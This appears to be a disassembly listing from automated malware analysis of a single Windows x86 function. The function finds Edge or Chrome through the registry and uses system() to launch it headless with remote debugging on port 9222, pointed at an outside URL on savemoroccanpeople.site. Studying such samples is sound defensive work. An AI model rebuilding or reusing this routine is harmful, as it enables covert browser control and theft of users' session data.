Function at 0x401170
Capabilities:
Execute command
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x405004]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x38]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Pathsmsedge.exe
push 0x80000002
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4011f8
lea eax, [esp + 0x3c]
mov dword [esp + 0x3c], 0x104
push eax
lea eax, [esp + 0x84]
push eax
push 0
push 0
push 0x4031ef
push dword [esp + 0x4c]
call esi
push dword [esp + 0x38]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x4011f2
lea eax, [esp + 0x80]
push eax
jmp 0x401257
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x38]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Pathschrome.exe
push 0x80000002
call edi
test eax, eax
jne 0x401252
lea eax, [esp + 0x3c]
mov dword [esp + 0x3c], 0x104
push eax
lea eax, [esp + 0x84]
push eax
push 0
push 0
push 0x4031ef
push dword [esp + 0x4c]
call esi
push dword [esp + 0x38]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x401252
lea eax, [esp + 0x80]
push eax
jmp 0x401257
push 0x4031ef
lea ecx, [esp + 0x6c]
call fcn.004014e0
mov ecx, dword [esp + 0x78]
mov eax, 0x7fffffff
sub eax, ecx
cmp eax, 1
jb 0x4014d3
cmp dword [esp + 0x7c], 0x10
lea eax, [esp + 0x68]
lea edx, [ecx + 1]
mov dword [esp + 0x20], 0
cmovae eax, dword [esp + 0x68]
lea edi, [esp + 0x10]
mov esi, 0xf
mov dword [esp + 0x3c], eax
mov dword [esp + 0x24], 0
xorps xmm0, xmm0
movaps xmmword [esp + 0x10], xmm0
mov dword [esp + 0x38], edx
cmp edx, esi
jbe 0x401338
mov esi, edx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x4012f4
mov ecx, 0x80000000
mov esi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.0040175b
add esp, 4
test eax, eax
je 0x401412
mov ecx, dword [esp + 0x78]
lea edi, [eax + 0x23]
mov edx, dword [esp + 0x38]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x401330
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x1000
jb 0x401315
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x4014d8
jmp 0x4012d0
test eax, eax
je 0x40132e
push eax
call fcn.0040175b
mov ecx, dword [esp + 0x7c]
add esp, 4
mov edx, dword [esp + 0x38]
mov edi, eax
jmp 0x401330
xor edi, edi
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], edi
push ecx
push eax
lea eax, [edi + 1]
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], esi
push eax
mov byte [edi], 0x22
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x44]
add esp, 0xc
mov byte [edi + eax], 0
mov edx, dword [esp + 0x24]
mov eax, edx
mov ecx, dword [esp + 0x20]
sub eax, ecx
push 0x6f
cmp eax, 0x6f
jb 0x401399
cmp edx, 0x10
lea esi, [esp + 0x14]
lea eax, [ecx + 0x6f]
cmovae esi, dword [esp + 0x14]
add esi, ecx
mov dword [esp + 0x24], eax
push str.____headless___remote_debugging_port9222_https:__savemoroccanpeople.site_manhattan_hub.php_userNameheaderless
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x6f], 0
lea eax, [esp + 0x10]
jmp 0x4013ae
push ecx
mov byte [esp + 0x44], 0
lea ecx, [esp + 0x18]
push dword [esp + 0x44]
push 0x6f
call fcn.004015f0
mov dword [esp + 0x50], 0
xorps xmm0, xmm0
movaps xmmword [esp + 0x40], xmm0
mov dword [esp + 0x54], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x50], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [esp + 0x24]
cmp ecx, 0x10
jb 0x401422
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401418
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401418
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040178b
add esp, 8
cmp dword [esp + 0x54], 0x10
lea eax, [esp + 0x40]
cmovae eax, dword [esp + 0x40]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [esp + 0x58]
add esp, 4
cmp ecx, 0x10
jb 0x40146c
mov edx, dword [esp + 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401462
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4014ab
push ecx
push edx
call fcn.0040178b
add esp, 8
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0xf
mov byte [esp + 0x40], 0
cmp eax, 0x10
jb 0x4014bb
mov edx, dword [esp + 0x68]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4014b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4014b1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040178b
add esp, 8
mov ecx, dword [esp + 0x18c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0040174d
mov esp, ebp
pop ebp
ret 0x10
call fcn.00401160
call fcn.004010c0
int3